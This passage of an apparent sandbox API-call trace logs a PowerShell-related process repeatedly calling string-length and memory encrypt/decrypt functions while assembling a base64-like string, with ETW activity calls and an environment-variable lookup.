(param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xbbb\xcdc4\x36f7\x58f1\xaaf3\x7ef4\x8f8b\xb19a") returned 0x20 [0127.220] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xbbb\xcdc4\x36f7\x58f1\xaaf3\x7ef4\x8f8b\xb19a") returned 0x20 [0127.220] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.220] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqn瀨⫽ᨮ胹") returned 0x20 [0127.220] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.220] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xf269\xf685\x4397\x1f67\x349f\x3433\xee65\xfc06") returned 0x20 [0127.220] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xf269\xf685\x4397\x1f67\x349f\x3433\xee65\xfc06") returned 0x20 [0127.220] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.220] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM⫽ᨮ胹") returned 0x20 [0127.220] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.220] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\x601e\x8a24\x588e\x91fd\xb7bd\x860f\x7b16\xc20") returned 0x20 [0127.220] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\x601e\x8a24\x588e\x91fd\xb7bd\x860f\x7b16\xc20") returned 0x20 [0127.220] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.220] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/ᨮ胹") returned 0x20 [0127.220] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.221] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xd992\x2474\x201\x47a8\xe77\xa6ba\x4f0d\x6932") returned 0x20 [0127.221] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xd992\x2474\x201\x47a8\xe77\xa6ba\x4f0d\x6932") returned 0x20 [0127.221] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.221] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/u胹") returned 0x20 [0127.221] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.221] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xe92d\x1f30\xd9ba\x27a4\xa590\xf8ee\x9568\x4c97") returned 0x20 [0127.221] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xe92d\x1f30\xd9ba\x27a4\xa590\xf8ee\x9568\x4c97") returned 0x20 [0127.221] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.221] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD") returned 0x20 [0127.221] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.221] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094") returned 0x20 [0127.221] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094") returned 0x20 [0127.221] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094") returned 0x20 [0127.221] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x65\x72\x53\x68\x65\x6c\x6c\x5c") returned 0x28 [0127.221] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.221] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9ᶳ砼▛뼠鶖豓ﶥ") returned 0x28 [0127.221] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.221] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x7959\x4c6c\x3837\x9beb\x7afb\xbb9b\x1b42\x90b5") returned 0x28 [0127.222] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x7959\x4c6c\x3837\x9beb\x7afb\xbb9b\x1b42\x90b5") returned 0x28 [0127.222] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.222] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9S砼▛뼠鶖豓ﶥ") returned 0x28 [0127.222] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.222] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\xa7d5\x58d4\xf6c3\x47e9\x87e4\x2a81\x7e4c\x69f2") returned 0x28 [0127.222] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\xa7d5\x58d4\xf6c3\x47e9\x87e4\x2a81\x7e4c\x69f2") returned 0x28 [0127.222] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.222] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZ▛뼠鶖豓ﶥ") returned 0x28 [0127.222] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.222] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\xa67e\xcd31\x3eee\xab28\xca7f\x2898\xf482\x47e7") returned 0x28 [0127.222] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\xa67e\xcd31\x3eee\xab28\xca7f\x2898\xf482\x47e7") returned 0x28 [0127.222] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.223] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZj뼠鶖豓ﶥ") returned 0x28 [0127.223] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.223] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x8a60\x685c\xad70\x6778\x28f3\x82a7\xa30b\xecb7") returned 0x28 [0127.223] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x8a60\x685c\xad70\x6778\x28f3\x82a7\xa30b\xecb7") returned 0x28 [0127.223] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.223] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZjf鶖豓ﶥ") returned 0x28 [0127.223] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.223] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x5d55\x9f57\x8c6f\xd0a7\x97e3\xb17e\xcaab\x8f9e") returned 0x28 [0127.223] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x5d55\x9f57\x8c6f\xd0a7\x97e3\xb17e\xcaab\x8f9e") returned 0x28 [0127.223] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.223] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZjfI豓ﶥ") returned 0x28 [0127.223] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.223] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\xc018\xcdb0\xef13\x2bf1\x6e56\xb061\xa36e\xfa7c") returned 0x28 [0127.223] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\xc018\xcdb0\xef13\x2bf1\x6e56\xb061\xa36e\xfa7c") returned 0x28 [0127.223] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.223] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZjfIhﶥ") returned 0x28 [0127.223] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.223] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x987a\xa888\x6a7e\xf5e0\x989d\xd959\x6f1d\x3434") returned 0x28 [0127.223] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x987a\xa888\x6a7e\xf5e0\x989d\xd959\x6f1d\x3434") returned 0x28 [0127.224] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.224] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZjfIhD") returned 0x28 [0127.224] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.224] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96") returned 0x28 [0127.224] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96") returned 0x28 [0127.224] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96") returned 0x28 [0127.224] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96\xbbe5\xd279\x4e72\x649d\xbc41\x78a6\x5d04\xb906") returned 0x30 [0127.224] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.224] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZjfIhDi㻀嗄礇쮢ḃשּ꧑") returned 0x30 [0127.224] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.224] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96\x8e0f\xc81c\x4a6a\xf302\x52b1\x2c94\xcd1a\x650a") returned 0x30 [0127.224] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96\x8e0f\xc81c\x4a6a\xf302\x52b1\x2c94\xcd1a\x650a") returned 0x30 [0127.224] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.224] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZjfIhDip嗄礇쮢ḃשּ꧑") returned 0x30 [0127.224] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.224] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96\x21ed\xa998\x7c21\xb6aa\x15fe\x47ac\xd492\xfe36") returned 0x30 [0127.224] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96\x21ed\xa998\x7c21\xb6aa\x15fe\x47ac\xd492\xfe36") returned 0x30 [0127.224] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.225] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZjfIhDipo礇쮢ḃשּ꧑") returned 0x30 [0127.225] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.225] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96\x5c2e\x2527\x4998\xaab4\xfbad\xcbf3\x9f3e\x30e2") returned 0x30 [0127.225] SysStringLen (param_1="\xabc0\x3efc\x6934\xe9a8\x78c4\xb3f5\xccef\x71ee\xfb5e\x36f3\xa727\x29c0\x55e1\x7222\x1318\x5708\xa5c5\xc5a\x42c0\x1e47\xb4e8\x3e68\x5fd5\xb02a\xa02f\xb36a\x4999\x910f\x7dbe\x49b6\xf330\x9094\x2591\x8ec3\xd5aa\xd5cf\x48cf\x4ab7\x24d5\x4a96\x5c2e\x2527\x4998\xaab4\xfbad\xcbf3\x9f3e\x30e2") returned 0x30 [0127.225] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.225] SysStringLen (param_1="LrWqfW3IqSnuyJO6mF5Ti+z6tgqnM/uD9SZjfIhDipo=쮢ḃשּ꧑") returned 0x30 [0127.225] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.225] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.225] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.225] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.226] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0127.226] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.226] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.226] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.226] SysStringLen (param_1="") returned 0x8 [0127.226] SysStringLen (param_1="Y") returned 0x8 [0127.226] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.226] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.226] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.226] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.226] SysStringLen (param_1="YW") returned 0x8 [0127.226] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.227] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.227] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.227] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.227] SysStringLen (param_1="YWM") returned 0x8 [0127.227] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.227] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.227] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.227] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.227] SysStringLen (param_1="YWM1") returned 0x8 [0127.227] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.227] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.227] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.227] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.227] SysStringLen (param_1="YWM1O") returned 0x8 [0127.227] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.227] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.227] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.227] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, 